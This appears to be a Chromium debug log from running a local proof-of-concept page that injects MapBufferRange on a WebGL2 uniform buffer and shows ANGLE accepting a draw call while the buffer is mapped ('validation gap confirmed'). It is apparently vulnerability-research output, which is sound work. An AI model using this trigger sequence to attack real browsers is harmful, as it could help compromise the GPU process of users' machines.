[1129:1129:0521/050852.401551:INFO:CONSOLE:10] "WebGL2 context created", source: http://127.0.0.1:8080/poc.html (10) [1129:1129:0521/050852.593326:INFO:CONSOLE:10] "uniform block index = 0", source: http://127.0.0.1:8080/poc.html (10) [1129:1129:0521/050852.621709:INFO:CONSOLE:10] "pre-map drawArrays error = 0x0", source: http://127.0.0.1:8080/poc.html (10) [1129:1129:0521/050852.621797:INFO:CONSOLE:10] "calling gl.finish() -> injected MapBufferRange + DrawArrays", source: http://127.0.0.1:8080/poc.html (10) [1268:1268:0521/050852.625844:ERROR:third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc:3462] [POC-RENDERER] forging MapBufferRange(GL_UNIFORM_BUFFER) from WebGL2 context [1161:1161:0521/050852.627466:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc:3986] [POC-GPU] passthrough DoMapBufferRange target=0x8a11 size=16 IsWebGLContext=1 IsWebGL2OrES3OrHigher=1 mapped_ptr=0x77ee7fde0040 [1268:1268:0521/050852.627983:ERROR:third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc:3466] [POC-RENDERER] MapBufferRange returned ptr=0x73f376291000 glGetError=0x0 [POC-ANGLE] ValidateProgramDrawStates: uniform block 0 bound buffer isMapped()=TRUE, isWebGL=1 -> NOT rejected (validation gap) [1268:1268:0521/050852.642023:ERROR:third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc:3474] [POC-RENDERER] DrawArrays-with-mapped-UBO glGetError=0x0 ** VALIDATION GAP CONFIRMED: draw accepted with mapped UBO ** [1129:1129:0521/050852.643040:INFO:CONSOLE:10] "post-injection error = 0x0", source: http://127.0.0.1:8080/poc.html (10)